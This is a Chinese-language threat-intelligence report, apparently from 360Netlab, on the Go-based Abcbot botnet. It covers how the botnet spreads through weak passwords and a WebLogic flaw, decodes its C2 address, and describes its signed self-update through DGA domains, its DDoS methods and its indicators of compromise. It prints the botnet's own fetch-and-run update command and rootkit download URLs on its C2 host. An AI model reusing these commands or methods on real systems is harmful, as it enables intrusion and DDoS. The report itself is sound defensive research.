僵尸网络Abcbot的进化之路

背景


业务上云、安全上云是近年来业界的发展趋势之一。360Netlab 从自身擅长的技术领域出发，也在持续关注云上安全事件和趋势。下面就是我们近期观察到的一起，被感染设备IP来自多个云供应商平台的安全事件。


2021年7月14日，360BotMon系统发现一个未知的ELF文件(a14d0188e2646d236173b230c59037c7)产生了大量扫描流量，经过分析，我们确定这是一个Go语言实现的Scanner，基于其源码路径中"abc-hello"字串，我们内部将它命名为Abcbot。


Abcbot在当时的时间节点上功能比较简单，可以看成是一个攻击Linux系统的扫描器，通过弱口令&Nday漏洞实现蠕虫式传播。一个有意思的事情是，Abcbot的源码路径中有“dga.go”字串，但是在样本中并没有发现相关的DGA实现，我们推测其作者会在后续的版本中补上这个功能，这让我们对这个家族多了几分留意。


随着时间的推移，Abcbot也在持续更新，如我们所料，它在后继的样本中加入了DGA特性。如今Abcbot除了拥有蠕虫式传僠的能力，还有自更新，Webserver，DDoS等功能。


时间来到2021年10月8日，Trend Micro发布了关于此家族的分析报告，报告中着重分析了传播Abcbot的前置SHELL脚本，但对Abcbot本身的功能几笔带过。


鉴于Abcbot处于持续开发中，功能在不断的更新，危害变得越来越大，我们决定撰写本文向社区分享我们的发现。



时间线


 * 2021年7月14日，首次捕获abcbot，主要功能为Scanner,WebServer。
 * 2021年7月22日，abcbot更新，在自更新的函数中加入dga相关代码。
 * 2021年10月10日，abcbot更新，代码结构变化属于微调级别。
 * 2021年10月12日，abcbot更新，代码结构变化属于重构级别。
 * 2021年10月21日，abcbot更新，借助开源的ATK rootkit实现DDoS功能。
 * 2021年10月30日，abcbot更新，放弃ATK rootkit,转向自身实现DDoS功能。



Abcbot概述


我们以2021年10月30日的最新样本为蓝本，将Abcbot定性为，一个攻击常见数据库和WEB大型服务器的僵尸网络，它通过弱口令&Nday漏洞实现蠕虫式传播，主要盈利手段为DDoS。


目前支持以下9种攻击方法：


 * tls Attack
 * tcp Attack
 * udp Attack
 * ace Attack
 * hulk Attack
 * httpGet Attack
 * goldenEye Attack
 * slowloris Attack
 * bandwidthDrain Attack


它的基本流程图如下所示：




逆向分析


我们一共捕获了6个不同版本的abcbot样本，本文选取10月30日的样本为主要分析对象，它的基本信息如下所示：


MD5:ae8f8cf967ca15a7689f2d1f79fbc5dc
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Packer:upx
Date:2021-10-30



Abcbot使用标准的UPX壳加固自身，当它在被侵入的设备运行时，Abcbot通过将自身分别拷贝成以下文件以迷惑用户，随后相继启动dockerlogger，iptablesupdate进程。


/bin/dockerlogger
/usr/bin/dockerlogger
/etc/iptablesupdate



其中iptablesupdate 进程负责扫描感染新的设备，将本地设备信息上报给C2，等待执行C2下发的DDoS指令。

而dockerlogger进程则负责把被感染设备变成Webserver，将本地设备信息上报给C2，等待执行更新服务器下发的Updata指令。下文将从这些功能出发剖析Abcbot的具体实现。



0x01: 往C2上报设备信息


目前捕获的Abcbot的样本中都硬编码了一个加密的C2字串（“GEVQYYdjQdquLemMLYlkLLXLQmq7NmL7NYXu”），它使用Base64编码&XOR加密。


Base64的解码操作如下所示，可以看出Abcbot更改了Alphabet值，它使用的Alphabet为LMNu67PQX21pqrR3YZaDEFGbcVIJjkKWdefstghiBACHlSTUmO5noxyz04vw89+/，



将Base64解码后的结果和 0x31 0x32 0x33进行异或，就能得到以下最终的结果


http://103.209.103.16:26800



解密得到C2后，iptablesupdate 和dockerlogger进程都是都通过路径"/api/postip"向C2上报设备信息，设备信息的格式为OS:%v\x09CPU:%v\x09HX:%vh\x09os-name:%v\x09lanip:%v。事实上这两个进程收集的设备信息都是一样的，都是调用了abc_hello_util_Os_pz函数，唯一的差导如下图所示，可以看出dockerlogger进程会在上报的信息中附加"\td0.02"，iptablesupdate则附加“\ti0.02”，其中"d","i"字符暗示了上报流量的进程，"0.02"则类似版本（10月21日的样本中，版本为"0.01"）。



实际产生的流量如下所示：




0x02: 扫描传播


Abcbot通过“abc_hello_plugin_StartScan”函数负责感染新设备，它的逻辑是随机生成IP，检测该IP上可以被攻击网络服务的端口是否开放，进而选用相应的弱口令列表，或漏洞对服务进行攻击，最终完成蠕虫式扫描传播。


下面的代码片段展示了Abcbot尝试攻击Weblogic的过程。



在Abcbot样本中，可以很清楚的看到对相关网络服务攻击所用到的函数，



对照上面的函数列表可知Abcbot利用的的弱口令&漏洞一共有7种，详情如下所示：


 1. SSH弱口令
 2. FTP弱口令
 3. PostgreSQL弱口令
 4. Redis弱口令
 5. Mssql弱口令
 6. Mongo弱口令
 7. WebLogic漏洞（CVE-2020-14882）



0x03: WebServer


Abcbot通过"abc_hello_web_StartServer"函数在被感染的设备上启动一个WebServer,监听的端口为26800，支持的方法以及路径如下表所示：





Method
Path




POST
/api/postip


POST
/api/configlist


POST
/api/getlist


POST
/api/check





实际效果如下图所示：



目前真正产生了用途的路径是"/api/check"，在扫描传播过程中，通过请求目标ip:26800/api/check，用于判断设备是否已经被感染。



其它的路径，只是保持连通性了，没有真正的用途，当访问它们是，只是会在"/tmp/.abchello"目录下生成日志文件。


事实上通过"curl - X POST"去测试C2，可以发现C2上也存在上面的4个路径。Abcbot的作者似乎想打破目前的C/S网络模型，把Bot在网络中的角色向Server靠近，因此我们推测Acbbot的网络结构，或许会转向P2P。



0x04: 自更新


7月22日，Abcbot引入“abc_hello_util_Updata”函数负责处理自更新，它的逻辑是向远程服务器请求"2.txt"资源，“2.txt”由2部分组成，它的格式为“Resource(hex格式)|数字签名(hex格式)”，当Bot成功拉取到2.txt后，会通过以下代码片段对当数字签名进行校验。



样本中硬编码的公钥为：


-----BEGIN RSA PUBLIC KEY-----

MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL3zj6XQt7gYe+L6oI/IUvlJNZVsg/JX\x0AC7TCnl9p1JfBJFdx+W9FTFnO2Fr8/hAUtf1NpP/WG2fgeG4Nvdcuyq0CAwEAAQ==

-----END RSA PUBLIC KEY-----



校验成功后，对Resource进一步的分解，Resource的格式为"cmd|downloader url| crc32|cmd2"，当cmd为"alldown2"时，向downloadser url 请求下载，并校验文件的crc32 hash值，检测成功后，执行下载的文件完成自更新的过程。


实际获得的2.txt如下所示：



Resource部分以HEX格式解码后就是具体的升级指令了。


alldown2|http://103.209.103.16:26800/ff.sh|611043B5|posterrorurl



在这个过程中远程服务器域名的来源有以下3种：


 1. 硬编码的TOR域名（解密方法与C2一样）
 2. DGA算法生成前缀字串，分别与(.com，.tk，.pages.dev)3个后缀拼接成域名
 3. DGA算法生成字串，当成github帐号，之后从这个github账号中获取升级资源


下图的代码片段正是Abcbot向DGA生成的域名，以及GITHUB仓库请求2.txt资源的过程。



各个时间节点的样本所采用的域名如下所示：





Date
MD5
Res Tor Domain
DGA Domain
DGA Github




07-14
a14d0188e2646d236173b230c59037c7
0
0
0


07-22
e535215fad2ef0885e03ba111bd36e24
1
3/month
1/month


10-10
6e66456ffb457c52950cf05a6aaabe4a
1
3/month
0


10-12
39d373434c947742168e07cc9010c992
1
3/month
0


10-21
e95c9bae6e2b44c6f9b98e2dfd769675
0
27/month
0


10-30
ae8f8cf967ca15a7689f2d1f79fbc5dc
0
27/month
0





10月Abcbot的DGA生成的部分域名如下所示：


dgixyyfug.tk
dgixyyfug.com
dgixyyfug.pages.dev
guyfixdyg.tk
guyfixdyg.com
guyfixdyg.pages.dev




当Abcbot开始使用DGA生成更新服务器的域名时，我们在第一时间进行了抢注了部分域名，这让我们能够度量它的规模。从目前的统计数据来看Abcbot的规模并不大，IP总数是261。



目前被感染主机的服务商分布如下所示：




0x05: DDoS


10月21日，Abcbot引入了"main_TimeDDos"函数负责处理DDoS攻击，它的逻辑是通过路径“/api/getlist”向C2请求DDoS指令，指令由2部分组成，“DDoS指令(hex格式)|指令数字签名(hex格式)”。当Bot收到指令后，复用上文自更新小节中的数字签名进行校验，校验成功后才能执行。


实际产生的流量如下所示，"|"字符前的"73746f70"字串，正是"stop"指令。



有意思的事情是，在10月21日的样本(md5:e95c9bae6e2b44c6f9b98e2dfd769675)借助了开源的ATK Rootkit实现DDoS功能。



Abcbot对ATK源码文件share_atk_svr.c中的main函数做了修改，通过以下代码在127.0.0.1上监听SERV_PORT，实现了UDP服务器，其中SERV_PORT有4个，分别为88,89,90,91。


sockfd = socket(AF_INET, SOCK_DGRAM, 0);
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
// servaddr.sin_addr.s_addr = htonl(INADDR_ANY); // 0.0.0.0 
servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
servaddr.sin_port = htons(SERV_PORT);



当Abcbot接收到C2下发的指令后，将指令转发给UDP服务器，由ATK rootkit进行DDoS攻击。下图所示的代码片段，正是Abcbot将DDoS指令"BigUdp"转发到Rootkit。



支持的指令如下所示：


 1. stop
 2. syn
 3. dns
 4. bigudp


我们不认为这种方式进行DDoS攻击有优越性，ATK rootkit是以源码的方式存储在远程服务器上，


xl_x64scan1="http://103.209.103.16:26800/atk.tar.gz"
xl_x64scan2="http://103.209.103.16:26800/atk.tar.gz"



这要求Abcbot想进行DDoS攻击前，必须进行下载源码，编译，加载rootkit模块，这个过程太长，任意一步有问题都会导致DDoS功能的失败。


而在10月30日的样本(md5:ae8f8cf967ca15a7689f2d1f79fbc5dc)则做出了更新，放弃了ATK rootkit，转而自身实现了9种攻击方法。




总结


在逆向分析的过程中，我们发现了Abcbot的许多怪异之处，诸如“重复上报本地设备信息，不注册DGA域名，TOR&Github资源服务器的不合理的剔除，Webserver功能没有真正启用”等，这给我们的一种感觉，Abcbot作者在试水各种技术。在这半年中的更新过程，与其说是功能的不断升级，不如说是对不同技术的取舍。通过整合不同技术，Abcbot慢慢从稚嫩走向成熟。我们不认为现阶段已是最终形态，现阶段明显存在许多可以改进的地方或待开发的功能。最终Abcbot是止步于此，还是走的更远，就让我们拭目以待吧。



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IP


103.209.103.16	China|Hong_Kong|Unknown	AS63916|IPTELECOM_Global




Tor


http://vgnaovx6prvmvoeabk5bxfummn3ltdur3h4ilnklvaox4lge2rp4nzqd.onion




Sample MD5


0786c80bfcedb7da9c2d5edbe9ff662f
0f2619811ceaf85baa72f9c8f876a59a
1177c135f15951418219a97b3caad4e1
1a720cc74ecf330b8f13412de4d5646b
39d373434c947742168e07cc9010c992
3f277c7b4c427f9ef02cf8df4dd7be44
5d37a61451e5cfdeca272369ac032076
6e66456ffb457c52950cf05a6aaabe4a
6e66456ffb457c52950cf05a6aaabe4a
89ffd4f612ce604457446ee2a218de67
8f3558b29d594d33e69cea130f054717
a14d0188e2646d236173b230c59037c7
a17ea52318baa4e50e4b6d3a79fbd935
a4c7917787dc28429839c7d588956202
ae8f8cf967ca15a7689f2d1f79fbc5dc
baeb11c659b8e38ea3f01ad075e9df9a
c27d1c81a3c45776e31cfb384787c674
c64fbc7d3586d42583aa3a0dc3ea529f
e535215fad2ef0885e03ba111bd36e24
e95c9bae6e2b44c6f9b98e2dfd769675




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http://103[.209.103.16:26800/atk.tar.gz
http://103[.209.103.16:26800/dd.sh
http://103[.209.103.16:26800/ff.sh
http://103[.209.103.16:26800/linux64-shell
http://103[.209.103.16:26800/xlinux